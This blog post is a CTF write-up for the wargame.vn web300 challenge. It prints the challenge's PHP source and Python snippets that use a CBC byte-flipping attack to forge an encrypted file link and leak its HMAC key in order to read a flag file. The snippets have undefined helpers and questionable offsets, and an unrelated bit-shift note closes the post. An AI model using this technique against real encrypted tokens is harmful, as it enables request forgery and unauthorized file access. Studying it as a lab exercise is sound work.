Monday, September 9, 2013

ctf.wargame.vn web300

After reading a good article cbc-byte-flipping-attack-101-approach, I remember the last ctf called web300 hosting at wargame.vn also used this technique to get a fla.
http://challenges.wargame.vn:1337/web300_c4d7c1d9c925b4021adf5e192315ecb9

After write something to server we get some useful things:
link:
/?file=362e10cd887022a369c60c3961edf89eaeadfde998a4c6d9794c9e99316c44a39b73b02e3fa2e75820706609e2549ad9bf6a32ce42737fe212e6fa6a91f6fd21&sign=56eb7a1a95ef06c35c6a942e7da55462
filename: 5ac30b7bd737fc5c04d739a61d9f47f0

with the hint, we get the source code. below are some important functions
            function strToHex($string)
            {
                $hex='';
                for ($i=0; $i < strlen($string); $i++){
                    $tmp = dechex(ord($string[$i]));
                    $hex .= (strlen($tmp)==1)?"0".$tmp:$tmp;
                }
                return $hex;
            }
            function hexToStr($hex)
            {
                $string='';
                for ($i=0; $i < strlen($hex)-1; $i+=2)
                    $string .= chr(hexdec($hex[$i].$hex[$i+1]));
                return $string;
            }
            //
            // encrypt + decrypt AES
            //
            include("init.php"); // define _KEY,_IV,_SECRET
            // flag in ./secret/flag.php

            function encrypt_($str){
                return strToHex(mcrypt_encrypt(MCRYPT_RIJNDAEL_128, _KEY, $str, MCRYPT_MODE_CBC,_IV));
            }
            function decrypt_($str){
                return rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_128, _KEY, hexToStr($str), MCRYPT_MODE_CBC,_IV),"\0");
            }
            function hmac_($msg,$secret){
                return hash_hmac('md5',$msg,$secret);
            }

            if(!empty($_POST['secret']) && is_string($_POST['secret']) && strlen($_POST['secret']) < 1337){
                 $secret_hmac = md5(_SECRET.rand(0,1337),true);
                 $secret_filename = md5(session_id.$secret_hmac);
                 file_put_contents("./secret/".$secret_filename,$_POST['secret']);
                 $secret_link = encrypt_($secret_filename."|".$secret_hmac);
                 echo "<br /><a class='button button-blue' href='?file={$secret_link}&sign=".hmac_($secret_filename,$secret_hmac)."'>Your secret</a>"; }elseif(!empty($_GET['file'])){
                $decrypt = explode("|",decrypt_($_GET['file']));
                $secret_filename = $decrypt[0];
                $secret_hmac = $decrypt[1];
                $hmac_ = $_GET['sign'];
                $error = false;
                if(strlen($secret_hmac) != 16){
                    echo "HMAC: Bad length! (".strlen($secret_hmac).")
";
                    $error = true;
                }      
                if(hmac_($secret_filename,$secret_hmac)!==$hmac_){
                    echo "HMAC: Not match!
";
                    $error = true;
                }

               
        ?>
                                     <blockquote class="curly-quotes" cite="./secret/<?=$secret_filename?>">
                            <?php
                                if(!$error)
                                    echo file_get_contents("./secret/".basename($secret_filename)); // anti directory traversal
                                else
                                    echo "ERROR!";
                            ?>

                       </blockquote>
             
        <?php
            }else{
        ?>

By observing that code, we see that:
- flag in ./secret/flag.php
- filename is generated randomly and displayed in  <blockquote class="curly-quotes" cite="./secret/<?=$secret_filename?>
- this uses aes 128 cbc mode which can be exploited by byte flipping technique
 - filename and hmc is seperated by "|" character

Firstly, we need to fake a system open flag so the output filename should be /flag.php. Luckily, because function "basename" is used, filename can be whatever ending with /flag.php (so the result is always /flag.php). We know that generated filename is 32 byte long, and AES 128 use block 16 bit, hence, we can change last 9 byte of that filename (len(/flag.php)=9)

fake_filename = "/flag.php"
true_filename = '5ac30b7bd737fc5c04d739a61d9f47f0'

file='362e10cd887022a369c60c3961edf89eaeadfde998a4c6d9794c9e99316c44a39b73b02e3fa2e75820706609e2549ad9bf6a32ce42737fe212e6fa6a91f6fd21'
file = file.decode('hex')

sign="56eb7a1a95ef06c35c6a942e7da55462"
#because we need to change only last 9 byte of second 16-byte block 
fakefile = file[:7]
for i in range(7,16):
    fakefile += chr    (ord(file[i]) ^ ord(fake_filename[i-7]) ^ ord(true_filename[16+i]))

fakefile+= file[16:]

#now we have fake filename, try to request to server to see that filename is correct
url = "http://challenges.wargame.vn:1337/web300_c4d7c1d9c925b4021adf5e192315ecb9/?file=" + fakefile.encode('hex') + "&sign=" + sign

from now on, we have fake filename but we still can not get the flag because of   if(hmac_($secret_filename,$secret_hmac)!==$hmac_)

Next, we know character "|"  is used to seperate username and hmac. By Using same technique, change the character number 33 in plain to another character rather than "|", let's say "&"
 ( username + "|" + hmac, and len(username)=32)

fakehmac = file[:16]
fakehmac+= chr(ord(file[16]) ^ ord('|') ^ ord('&'))
fakehmac+= file[17:]


url = "http://challenges.wargame.vn:1337/web300_c4d7c1d9c925b4021adf5e192315ecb9/?file=" + fakehmac.encode('hex') + "&sign=" + sign

since then, we have hmac right at position 33

sec_hmac =  request(url)[33:]


#now we already have sec_hmac =>md5 with msg and secret  to generate sign

sign = hmac.new(sec_hmac, dec_fake_filename).hexdigest()

url = "http://challenges.wargame.vn:1337/web300_c4d7c1d9c925b4021adf5e192315ecb9/?file=" + fakefile.encode('hex') + "&sign=" + sign

print getflag(url)

shl

to perform shl eax,cl in python

if cl>32: cl = cl %32
return eax << cl